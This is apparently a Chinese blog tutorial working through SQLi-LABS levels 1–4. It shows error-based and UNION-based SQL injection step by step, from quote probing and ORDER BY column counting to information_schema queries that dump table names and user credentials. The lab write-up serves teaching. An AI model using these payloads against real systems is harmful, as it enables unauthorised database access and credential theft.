sql注入练习-SQLi-LABS-1

本文介绍了SQLi-LABS靶场中Less1-Less4的SQL注入练习,涉及报错型和联合查询注入技术。通过试错、布尔型注入、ORDER BY字段数检测、UNION查询及函数利用,逐步揭示数据库信息。练习中展示了如何获取库名、表名、用户数据等。Less2-Less4则分别展示了不同类型的注入方法。

sql注入练习-1

摘要

本篇是针对SQLi-LABS靶场的Less1-Less4的SQL注入练习。
主要涉及报错型注入、联合查询注入。

练习

第1~4关是都是Error-based,只不过方式不一样,可能是通过单引号/双引号等进行试错。
以第一关为例:
Less-1
输入参数获取用户名密码
在这里插入图片描述
如何通过SQL注入,获得库,表,用户数据等信息?

试错

首先来试错,通过试错猜测SQL语句。

  1. 通过单引号来试错

参数使用:?id=1’,通过一下报错信息可以推测出大概的sql:
select xxx from db.table where id = 'xx' limit 0, 1;
其中xx是我们输入的部分
在这里插入图片描述
依据上述我们可以尝试构造以下sql:通过布尔型注入来探测信息

select xxx from db.table where id = 'xx' or 1 = 1 -- 'limit 0, 1;

那么输入应该是:’ or 1 = 1 –

测试一下:

%20是空格。

得到以下结果,与输入id=1的结果是一样的,猜测可能sql获取到结果后取了第一条数据。
在这里插入图片描述
让我们换一种方式:

  1. 通过order by n测试有多少个字段

order by n 可以用来检测查询的字段数,n为使用第n个查询参数进行排序,从1开始

先看看sql查询了多少字段:构造以下sql

select xxx from db.table where id = '' order by 5 -- 'limit 0, 1

输入?id=’ order by 5 --%20

结果:
order by
说明没有5个字段,逐渐递减尝试,测试结果n为3.

  1. 联合查询注入

通过union后面的查询,展示自己想要的信息,所以前面的查询需要没有返回结果

构造如下sql

select xxx from db.table where id = '-1' union select user(), database(), version() -- 'limit 0, 1
联合查询注入
可以看到登录名和密码对应的结果是database()和version(),即第二个和第三个参数。通过这种方式可以推断出当前数据库是security,当前登录用户是root@localhost(调整user()函数位置)

  1. 利用GROUP_CONCAT函数库名,表名等进行嵌套查询

构造如下sql:

SELECT * from user WHERE id = '-1' union select 1, (SELECT GROUP_CONCAT(DISTINCT(TABLE_NAME)) FROM information_schema.TABLES WHERE TABLE_SCHEMA = "security" ), VERSION() -- ' limit 0, 1

在这里插入图片描述
到这里可以猜测,查询的是security.users表

查看表结构:

select xx from security.users where id = '-1' union select 1, (select GROUP_CONCAT(COLUMN_NAME) from information_schema.COLUMNS WHERE TABLE_SCHEMA = "security" AND table_name = 'users' ), version() -- ' limit 0, 1

在这里插入图片描述
查询表中数据:

select xx from security.users where id = '-1' union select 1, (select GROUP_CONCAT(username, '@', password) from users), version() -- ' limit 0, 1

在这里插入图片描述
到这里想要的数据基本都拿到了。Less2~Less4的方法基本相同,只不过是更换’为"或使用数值等方式。
Less2是数值型注入,不使用单双引号;
Less3是单引号 + ) ,即SQL可能是id in ()的格式
Less4是双引号 + )实现

总结

  1. 当错误信息会回显时,可以利用报错型注入来通过错误信息推测SQL
  2. 通过构造布尔注入实现特定查询条件
  3. 利用单双引号等来构造闭合条件
  4. 通过order by来测试查询字段数
  5. 通过union构造联合查询,获取有用信息
  6. 利用**user(),database(),group_concat()**等函数

参考:

搭建sql注入靶场

更多学习:
Web 安全攻防之道
安全攻防技能

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

future_1024

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值